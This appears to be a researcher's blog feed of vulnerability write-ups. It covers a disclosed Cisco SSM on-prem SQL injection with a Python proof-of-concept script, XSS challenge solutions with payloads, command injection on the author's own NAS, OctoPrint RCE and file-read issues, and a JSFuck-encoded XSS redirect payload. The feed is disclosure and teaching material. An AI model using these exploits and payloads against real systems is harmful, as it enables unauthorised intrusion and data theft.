26/02/2024 -advisory is published by LGE

Cisco Smart Software Manager on-prem SQL Injection

Sun, 16 Jul 2023 03:00:00 +0000

Overview

Cisco Smart Software Manager (or SSM), is an open-sourced solution from Cisco to manage and distribute license entitlements for all Cisco products in your local network. It connects to cloud based SSM which is linked with the on-prem instance via Virtual Account. A very brief diagram of the system can be found below:

https://www.cisco.com/web/software/286326948/154733/Smart_Software_Manager_On-Prem_8_User_Guide.pdf

Anyone can download and deploy Cisco SSM on-prem from the Cisco releases page. I always prefer to stick to whitebox methodology anytime I have access to source code, so I quickly downloaded and set up the environment.

The machine runs Debian 11 and whole application backend is written in Ruby. Additionally it utilizes PostgreSQL database and Radius service for managing credentials. The server exposes port 8443 which is used for virtual account login and admin dashboard. Admininstrator dashboard is accessible under https://ciscossm:8443/admin/.

Finding the needle in a haystack

I started the research by downloading all the source code for the web application, and searching for intresting endpoints to fiddle with. The I looked for all available API endpoints which can be found in /config/routes.rb file. Below you can find all API endpoints for /notifications/ API.

[...]

namespace :notifications do
get 'manage_account'
get 'search_by_dates'
get 'search_by_event_type'
get 'license_notification'
get 'search_by_user'
get 'search_by_pool'
get 'search_by_smart_account'
get 'get_product_or_license_matches'
get 'satellite_notification'
get 'get_notifications_by_category'
get 'search_by_license_or_license_pool_text'
get 'search_conversion_notifications'
get 'search_account_notifications'
get 'search_security_notifications'
get 'global'
end

[...]

All of the above routes are handled in \app\controllers\admin\notifications_controller.rb file. After close inspection i noticed that the search_account_notifications function does not have a comment above the declaration, unlike other functions in the file which got my attention:

[...]

# GET /notifications/category.json?category="Software"&logical_account_id=1
def get_notifications_by_category
response = Admin::NotificationsCategoryInteractor.run(params)
render_response(response)
end

# GET /notifications/search_by_license_or_license_pool_text.json?logical_account_id=3&text=VA1
def search_by_license_or_license_pool_text
response = Admin::Notifications::SearchByLicenseOrLicensePoolTextInteractor.run(params)
render_response(response)
end

# GET /notifications/search_conversion_notifications.json?logical_account_id=3&virtual_account_or_license_name=Default
def search_conversion_notifications
response = Admin::Notifications::SearchConversionNotificationsInteractor.run(params)
render_response(response)
end

def search_account_notifications
response = Admin::Notifications::SearchAccountNotificationsInteractor.run(params)
render_response(response)
end

# /notifications/search_security_notifications.json
def search_security_notifications
response = Admin::Notifications::SearchSecurityNotificationsInteractor.run(params)
render_response(response)
end

[...]

I searched for the endpoint in the Burp history and found that the endpoint is being queried by the application with limit and offset URL parameters. However fuzzing those parameters returned no promising results. Then I created a list of params from other endpoints from *_controller.rb files and tried fuzzing the endpoint with other params from the commented API methods. After a while - bingo! A single quote inserted to filter_by parameter, resulted in server returning 500 Internal Server Error code with SQL error.

Request:

GET /backend/notifications/search_account_notifications.json?
filter_by=message_type%2cmessage_text%2ccreator_id'&filter_val=a&offset=0&li
mit=10 HTTP/1.1
Host: 192.168.29.139:8443
Cookie: _lic_engine_session=COOKIE; XSRFTOKEN=TOKEN
Accept: application/json
Content-Type: application/json
Connection: close

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 17 Jan 2023 15:30:38 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 277

{"error":"ActiveRecord::StatementInvalid","error_message":"PG::SyntaxError:ERROR: unterminated quoted string at or near \"')\"\nLINE 1:
...r(message_text) LIKE '%a%' OR lower(creator_id') LIKE '%a%')\n^\n"}

Encouraged by that I quickly run sqlmap but after some tweaking I couldn’t get the SQLi to work. Also any manual exploitation was not successful. At this point I realized that I need to jump into database logs in order to exploit this vulnerability.

In the logs I could see a full SQL query but my excitement was short, as I have realized that I was only able to inject into SELECT COUNT statement. This means I need to build a more complicated error based payload rather that a simple UNION one, as these payloads would not work in this kind of statement.

Below you can see the vulnerable query I was injecting into:

SELECT COUNT(*) FROM "notifications" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (INJECTION HERE)

Back to the drawing board

I decided to look back into the code to better understand the logic behind this function. The code that was responsible for building the query was located in app\services\admin\notification_service.rb:

def get_all_account_registration_events_by_filter(limit, offset, filter_by, filter_val, sort_col, sort_order)
[...]
notifications = Notification.where('message_type IN (?)',message_types).order(sort_params(sort_col, sort_order))
    unless filter_by.nil?
        key = "%#{filter_val.downcase}%"
        columns = filter_by.split(',')
        notifications = notifications.where(
            columns
                .map {|col| "lower(#{col}) LIKE
                :search" }
                .join(' OR '),
                search: key)
[...]

As I am no ruby expert, this fragment of code was really hard for me to understand. So I decided to create a ruby script that generated the query with injected payload based on the above code. You can find created script below:

filter_by = "message_type)) LIKE '%' OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE 'P%') THEN 0 ELSE 1 END)-- ,bbb,ccc,ddd"
filter_val = "eee"

key = "%#{filter_val.downcase}%" 
columns = filter_by.split(',') 

query = columns.map{
    |col|
    "lower(#{col}) LIKE #{key}"
}.join(' OR ')

query = "SELECT COUNT(*) FROM \"notifications\" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (#{query})"

puts query

The above script does the following:

Our payload is passed to the function in filter_by variable,
Then the script lowercases the variable then prepends and appends ‘%’ to string,
Creates an array from string splitted by comma,
Runs map method for the array, and for each element create string “lower(value_of_column) LIKE search_key”,
Joins all the elements with ‘ OR ‘ string.

In example if we send the following payload:

GET /backend/notifications/search_account_notifications.json?
filter_by=INJECTION,bbb,ccc,ddd&filter_val=eee

We and up with following query:

SELECT COUNT(*) FROM "notifications" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (lower(INJECTION) LIKE %eee% OR lower(bbb) LIKE %eee% OR lower(ccc) LIKE %eee% OR lower(ddd) LIKE %eee%)

After some trial and error, I was able to craft the following error-based payload that seemed to be working:

message_type)) LIKE '%' OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE 'P%') THEN 0 ELSE 1 END)--

It uses division by zero to trigger an error when our condition is met. In this case we are trying to extract PostgreSQL version banner. The final query with payload looked as follows:

SELECT COUNT(*) FROM "notifications" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (lower(message_type)) LIKE '%' OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE 'P%') THEN 0 ELSE 1 END)-- ) LIKE %eee% OR lower(bbb) LIKE %eee% OR lower(ccc) LIKE %eee% OR lower(ddd) LIKE %eee%)

I was happy to see that the payload worked when it was sent to the server. The application returned division by zero error indicating that our statement was true.

Request with working payload:

GET /backend/notifications/search_account_notifications.json?filter_by=message_type))+LIKE+'%25'+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'P%25')+THEN+0+ELSE+1+END)--+,bbb,ccc,ddd&filter_val=eee&offset=0&limit=10 HTTP/1.1
Host: 192.168.29.139:8443
Cookie: _lic_engine_session=REDACTED; XSRFTOKEN=REDACTED
Accept: application/json
Content-Type: application/json
Connection: close

Response with SQL error:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 14 Jul 2023 08:57:46 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 107

{"error":"ActiveRecord::StatementInvalid","error_message":"PG::DivisionByZero: ERROR: division by zero\n"}

Using python, I created a PoC script to get full extraction of DBMS banner:

"""
Smart Software Manager On-Prem Release 8-202212 - Authenticated SQL Injection in 'filter_by' parameter
Download link: https://software.cisco.com/download/home/286285506/type/286326948/release/8-202212

Usage:
1. Update host and cookies variables,
2. Run `python3 exploit.py`

Tested on Ubuntu 22.04.1 LTS, Python 3.10.6

by redfr0g@stmcyber 2023
"""

import requests
import string
import warnings

# script parameters, update accoridingly
host = "<IP>:8443"
cookies = {"_lic_engine_session": "<COOKIE>", "XSRF-TOKEN": "<CSRFTOKEN>"}


url = "https://" + host + "/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'P%25')+THEN+0+ELSE+1+END)--%20&filter_val=a&offset=0&limit=10"
headers = {"Accept": "application/json", "Content-Type": "application/json"}
chars = string.printable[0:95]
result = []
search = True

print("[+] Cisco Smart Software Manager Release 8-202212 SQL Injection PoC")
print("[+] Starting DBMS banner enumeration...")

# do error based sql injection until no match found
while search:
    for char in chars:
        url = "https://" + host + "/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'" + ''.join(result) + char + "%25')+THEN+0+ELSE+1+END)--%20&filter_val=a&offset=0&limit=10"
        # disable invalid cert warnings
        with warnings.catch_warnings():
            warnings.simplefilter("ignore")
            r = requests.get(url, headers=headers, cookies=cookies, verify=False)
        if "PG::DivisionByZero" in r.text:
            # update and print result
            result.append(char)
            print("[+] DBMS Banner: " + ''.join(result))
            break
        if char == " ":
            # stop search if no match found
            search = False

The script is fairly easy to use, you just have to replace SSM server IP address, and admin cookies to send authenticated request. You can also download the script from my github.

The results of the working PoC script are in the video below.

Advisory

The vulnerability was reported to Cisco PSIRT and you can find the advisory here.

CVE

CVE-2023-20110 - Cisco Smart Software Manager On-Prem SQL Injection Vulnerability

Timeline

23.01.2023 - vulnerability reported to Cisco PSIRT,
23.01.2023 - first response from Cisco,
07.02.2023 - successful reproduction of the vulerability by Cisco and identification of the root cause of the bug,
10.05.2023 - CVE-2023-20110 is assigned to the vulnerability,
18.05.2023 - security advisory is published by Cisco,
19.05.2023 - approved to make vulnerability disclosure by Cisco,
17.07.2023 - disclosure in blog post.

Yeswehack's Dojo #17 XSS challenge writeup

Mon, 06 Jun 2022 11:00:00 +0000

This is a short writeup of the lastest Yeswehack’s Dojo challenge. The challnege is all about bypassing the XSS filter and exfiltrating sensitive data. From the challenge description, we can read the following:

This code runs a JavaScript code inside a script that craft a “secret” variable,
Execute Javascript (XSS) and alert (popup) the value of the original variable secret,
Alert (popup) the value of the original variable secret.

So to solve this challenge we have to bypass the filter and get our hands on some “secret” variable. When we open the challene page we can see the following code snippet where the injection happens.

<script type="text/javascript" src="$inject"></script>

<script type="text/javascript">

//Get Access and *alert()* the "secret" variable! 
const date = Date.now().toString();
const addOn = "Pa$$w0rd";
const secret = addOn+date

</script>

Our injection point is the $inject variable. I decided to try a standard quote-closing payload only to see that the XSS filter blocked some of the payload. This was the result of payload x" onerror="alert(document.domain):

<script type="text/javascript" src=""__Nope__onerror__Nope__"alert(document.domain"></script>

We can see that the filter used the following rules to neutralize our payload:

So no HTML tag injection, JavaScript events or pointing the src attribute to our own server as the :// part is filtered and for some reason the script source cannot be loaded with double backslash (\\) bypass. Then I remembered that the script resources can be loaded with the data: URI scheme. We can base64-encode our JavaScript payload and then pass it to the src attribute using data: scheme which is not filtered! I quickly crafted the following payload:

Plaintext Payload 1

alert("XSS")

Base64-encoded Payload 1 with ‘data’ URI scheme

data:;base64,YWxlcnQoIlhTUyIp

After submitting the payload I could see that I’m able to bypass the filter and execute JS code.

Reflected payload:

<script type="text/javascript" src="data:;base64,YWxlcnQoIlhTUyIp"></script>

Javascript code execution:

However when I tried to read the secret variable, I got the following error in Dev Tools:

This happens as the secret variable is initialized after the injection point happens, so when we execute our JS code, there is no secret variable to access! We can fix this error by adding document.addEventListener("DOMContentLoaded", function(){<PAYLOAD>}) to our payload. This way our code will wait before the DOM finishes loading so we will be able to access every variable initialized.

Plaintext Payload 2

document.addEventListener("DOMContentLoaded", function(){alert(secret);;}); //extra semicolons (;) are to remove equality symbols (=) from the base64 payload as they get filtered out and brake our payload 

Base64-encoded Payload 2 with ‘data’ URI scheme

data:;base64,ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCl7YWxlcnQoc2VjcmV0KTs7fSk7

After injecting the final payload we can successfuly access the secret variable thus completing the challenge:

Intigriti's April XSS challenge writeup

Sun, 24 Apr 2022 11:00:00 +0000

XSS challenges are a great way to learn cool tricks on how to exploit client side and circumvent browser’s security measures. This months Intigriti XSS challenge was made by @aszx87410. The requirements for the solution were simple:

It should work on the latest version of Chrome and FireFox.
It should execute alert(document.domain).
It should leverage a cross site scripting vulnerability on this domain.
It shouldn’t be self-XSS or related to MiTM attacks.
It should not require any kind of user interaction. There should be a URL that when visited will present the victim with a popup

As we open the link with the challenge we are immediately stroke by a nostalgia wave of the Windows XP CSS styling.

On the webpage we can see a “Window Maker” program, and when we enter some dummy data a custom “window” in generated.

When we open the request in the Burp Suite we can see the following request:

GET /challenge/Window Maker.html?config[window-name]=testname&config[window-content]=testcontent&config[window-toolbar][0]=min&config[window-toolbar][1]=max&config[window-toolbar][2]=close&config[window-statusbar]=true HTTP/2
Host: challenge-0422.intigriti.io

After trying some basic payloads we can observe that the app is escaping some “malicious” characters in the JavaScript.

The culprit of this encoding is the sanitize() function.

function isPrimitive(n) {
  return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}

function merge(target, source) {
  let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

  for(let key in source) {
    if (protectedKeys.includes(key)) continue

    if (isPrimitive(target[key])) {
      target[key] = sanitize(source[key])
    } else {
      merge(target[key], source[key])
    }
  }
}

function sanitize(data) {
  if (typeof data !== 'string') return data
  return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}

The function replaces every occurence og the <>%& characters and replaces it with _. Every occurance of word script is replaced too. However if the typeof data !== 'string' condition is not met, the function will not sanitize the user input and simply return the data. To bypass this we can add square brackets [] to the URL parameter, so the function will treat the input as an array. With the following payload, we can bypass sanitization, but still no XSS as the tags are not rendered into DOM tree.

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name][]=<asd>&config[window-content][]=<asd>&config[window-toolbar][0]=min&config[window-toolbar][1]=max&config[window-toolbar][2]=close&config[window-statusbar]=true

The URL passed to the application is parsed using the parseQueryString(location.search) function. Later we can see, that if the checkHost() function will be bypassed, we will be able to overwrite the devSettings object.

if (checkHost()) {
    devSettings["isTestHostOrPort"] = true
        merge(devSettings, qs.settings)
}

function checkHost() {
    const temp = location.host.split(':')
    const hostname = temp[0]
    const port = Number(temp[1]) || 443
    return hostname === 'localhost' || port === 8080
}

By exploiting a prototype pollution in the merge() function we are able to overwrite the prototype of the Array and change the value of temp[1] to 8080. This can be done by appending the following parameter to the URL:

config[window-toolbar][constructor][prototype][1]=8080

The above exploit works as there is no prototype string in the protectedKeys array:

let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

So now we can overwrite the devSettings object by simply passing the parameter settings in the URL:

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-host]=asd&config[window-content]=sad&config[window-toolbar][constructor][prototype][1]=8080&settings[isDebug]=POLLUTED

The final goal is to alter the DOM content, which is generated from the devSettings[root] object:

m.mount(devSettings.root, {view: function() {
    return m(CustomizedApp, {
        name: appConfig["window-name"],
        content: appConfig["window-content"] ,
        options: appConfig["window-toolbar"],
        status: appConfig["window-statusbar"]
        })
    }})
}
document.body.appendChild(devSettings.root)

It took me a while to search for the right parameter to overwrite but finally I found that the innerHTML of the settings[root][ownerDocument][all][0] object can be overwritten and results in HTML code injection into the webpage. The last thing to do, was to add the bypass we found in the first place, to omit the sanitization and inject a malicious script to the webpage. The final payload looked like this:

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][all][0][innerHTML][]=%3Cinput%20autofocus%20onfocus%3Dalert%28document%2Edomain%29%3E

When we open the above URL we could see that an alert() function was triggered thus completing the challenge.

Hacking into NAS

Mon, 21 Jun 2021 10:00:00 +0000

Recently I decided to do a little cleanup in my computer stuff cabinet and found my old NAS (Network Attached Storage) that I’ve beed using some time ago. The device was a Thecus N299 - a basic model capable of running two 2,5” HDDs in a RAID matrix. As the support for this device ended in 2007 I was asking myself why I was keeping it around for so long.

I booted up the NAS and checked if there are any files I want to backup before throwing the NAS out. Unfortunatelly the credentials I had saved did not work and the NAS didn’t want to let me in.

I thought to myself that I can try to hack my way into the device and treat this as a challenge. Wasting no time I started Burp and proxied all the web application traffic through it. After fuzzing one of the CGI scripts, more precisely nas.cgi was returning some error messages upon fuzzing newFolder parameter.

This looked like a promising command injection, so I tried the following payload to confirm if the code gets executed.

$(ping 192.168.1.27 -c 10)

When I checked on the Wireshark running in the background, I could see that the device was indeed sending ICMP packets to my host!

As it was possible to achieve code execution I tried to establish a shell connection with the NAS to get access to my files. However every paylaod I tried ended up not connecting to my listener or the bind shell was not executing properly. I decided to change my approach and instead connecting to the device I tried to save the output of the commands in a text file on the server side and read the output manually after the execution. I sent a simple ls payload with ouput redirected to pwned.txt to the server and checked the result.

Fortunately the file listing was echoed to the file without any issues. Then I tried to check what user was the web application running on by sending the id command. When I checked the contents of the output file, I was pleased to see that the commands are executed with root privileges :sunglasses:.

From this point I could do everything I wanted on the system, including reseting password for the web gui, and accessing files I wanted to backup.

Apart from the command injection, the device has other vulnerabilities and werid quirks that have been used back in the 2007 such as session cookies in the HTTP parameters and storing session data in publicly accessible directory. With that in mind I will be even more happy to throw it into the trash.

References:

http://www.thecus.com/product.php?PROD_ID=11

The (in)secure story of OctoPrint

Tue, 11 May 2021 08:00:00 +0000

TL;DR

When an attacker gains access to publicly exposed and insecured OctoPrint panel he can execute commands on the host due to the way the application is designed. In order to secure your OctoPrint instances NEVER expose the host to the public access and if you have to, use VPN or other access control to secure it.

The application

One time when I was browsing github in a quest for finding an interesting software to fiddle a little bit with, I came across an application named OctoPrint. If you’re into 3D printing this name may ring a bell with you. That is because OctoPrint is a software that brings a nice and responsive web interface to your 3D printer, and from what I have deducted, it is pretty popular among the 3D printing community. In fact there is a ton of features that come along with this software such as project files upload, live print monitoring and even custom plugin installation. As you probably imagine this sounded as a juicy app to put on the workbench.

First blood

Nice thing about OctoPrint is that it can be installed as a Python package, so the installation boils down to simple pip install OctoPrint. After the installation the web interface can be accessed on the default port 5000. Initial configuration allows us to set administrator password and set variables for 3D printer (which I obviously didn’t own at the moment of testing the app).

After logging in to a privileged account (Administrator or Operator) there is quite a lot of web interface functionalities to fiddle with. What caught my attention was that the application allows you to install custom plugins as Python packages right from the web interface.

How dangerous installation of untrusted packages can be, was very nicely describen by Aryx in his blog (not mentioning the package confusion vulnerabilities). By leveraging this we can easily modify an existing plugin and turn it into a malicious one. Then we can use it to execute system commands using Python os library. By adding the following code to the setup.py file we can run commands on the host.

import os
os.system('echo "pwned" > /tmp/octoprint')

Then we have to upload the plugin.

And we have confirmed RCE.

So by altering plugin code we can achieve RCE on the host but this behaviour is quite obvious and is unavoidable when installing packages without any encryption on integrity check.

Kill two birds with one stone

Another interesting functionality is that administrators can specify what commands can be run on the host, in order to reboot, or shut down the operating system, or to restart an OctoPrint instance.

These commands are executed using Python subprocess with shell argument set to True as can be seen on the following code snippet.

try:
 
       def execute():
           # we run this with shell=True since we have to trust whatever
           # our admin configured as command and since we want to allow
           # shell-alike handling here...
           p = sarge.run(
               command_spec["command"],
               close_fds=CLOSE_FDS,
               stdout=sarge.Capture(),
               stderr=sarge.Capture(),
               shell=True,
           )

This means that all commands passed to this function will be executed just as they would be typed in the terminal on host (more or less). Adding that such execution is triggered by a simple POST request to an API endpoint, with just a few lines of code we can write an exploit that executes reverse shell payload on the host.

This obviously poses security risk but to exploit this functionalities one must have Administrator or Operator privileges in the application. From attacker perspective this can be obtained by bypassing authentication or taking over an already created account.

Show me the logz

It is nice to be able to debug stuff right from the web interface and OctoPrint gives us this opportunity to not only download and manage log files from the browser, but also to specify the exact path where the files are saved. By using OctoPrint interface we can configure all the logging paths.

And list or download all the log files in the specified directory.

Interestingly, if the path is changed to any writable path, the application will gladly include all files in the directory and list them in the web interface. This wouldn’t be too bad at all however user can not only view the files but also download them. Considering this, it is possible to change the log folder to i.e. ~/.ssh/ directory and get access to SSH private keys.

If the host has SSH service running we could gain a stealthy and persistent access this way.

Not existing path is an existing problem

After some fuzzing I eventually found a reflected XSS in the /api/files endpoint. The web server was behaving weird when a non existing file was requested or upon making a HTTP DELETE request to it. The path was echoed back together with an error message. The coffin to the nail was that the path was URL decoded which meant that injecting any type of bracket to the document body is possible. Simple img payload did the trick.

<img src=x onerror=alert(1)>

Summary and security reminder

When considering the severity of the above vulnerabilities we must keep in mind that OctoPrint software was never meant to be exposed to the web as it integrates with physical device that is 3D printer. The dangers of such integration were thoroughly described by @xme in the following article. At the time of writing this article over 500 hosts that can be identified as OctoPrint interfaces were listed on Shodan (though this number is slowly decreasing it is still a large number of potential targets).

For maximum security never expose OctoPrint interface to the internet and deploy it locally on a host physically separated from your network i.e. Raspberry Pi. If the remote access is needed always make sure that the application is only accessible via VPN with strong security controls. If you want live preview or control over the printing consider using native OctoPrint plugins such as Telegram bot for monitoring the printing process.

CVEs

CVE-2021-32561 - Reflected Cross-Site Scripting in the /api/files
CVE-2021-32560 - Local File Read

Timeline

2.03.2021 - Vulnerabilities were reported to OctoPrint team
2.03.2021 - Received OctoPrint team response
3.03.2021 - CVEs were reserved for the identified vulnerabilities
27.04.2021 - Patch 1.6.0 was released addressing identified vulnerabilities
28.04.2021 - CVEs were published
10.05.2021 - The article describing identified vulnerabilites was released

References:

https://isc.sans.edu/forums/diary/3D+Printers+in+The+Wild+What+Can+Go+Wrong/24044/
https://www.ayrx.me/look-before-you-pip
https://docs.octoprint.org/en/master/
https://docs.octoprint.org/en/master/

Actually useful XSS trick

Tue, 20 Apr 2021 14:00:00 +0000

While doing research on one of the open source web applications I came across a Cross-Site Scripting trick that seems dumb but is actually useful in some situations. In this post I will describe such situation that is interesting enough and not so obvious to exploit.

Vulnerable API

As I mentioned the culprit of this post is a web application (for the greater good I cannot share any details about it) which I found vulnerable in some of it’s API endpoints. Long story short, the endpoint was designed to retrieve local files from the host but when file was not found it returned error message. Unfortunatelly the Content-Type header of the response was set to text/html not text/plain. Add to this that the name of the missing file was returned in the error message and that the user can control the filename. All of this resulted in a pretty straightforward reflected XSS.

Normally I would stop any pentesting at this point but following the POC||GTFO rule I decided to make a more “exploitable” payload than the standard <img> one (couldn’t use standard <script> tags as the CSP was blocking inline scripts :disappointed:).

The / issue

Due to the properly configured CSP all the efforts to steal session cookies were unsuccessful so I decided to stick with redirecting user on other page and executing JavaScript code there. And here came the problem. As this was API it treated every slash / as a new path segment. So when I tried to redirect victim using stardard URL I ended up with this (the slashes in the protocol section of the URL messed the API path).

Now I needed to find another way to pass URL to the JS document.location variable. Passed string need to be without slashes and any encodings as the API was either decoding all my payloads or returning more errors upon submitting them.

Weird but useful trick

Than I thought of jsfuck. As we can read on it’s website:

JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

Using JSFuck we can convert our desired JavaScript string to be represented by only six different characters and still be properly interpreted by the JS engine. Luckily slash is not one of these characters. We can use the JSFuck converter to represent our Burp Collaborator link using only brackets, exclamation marks and plus signs.

The final payload looked like this. Sure it’s not compact but at least its working :smiley:.

http://localhost/REDACTED/%3Cimg%20src=x%20onerror=document.location=(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[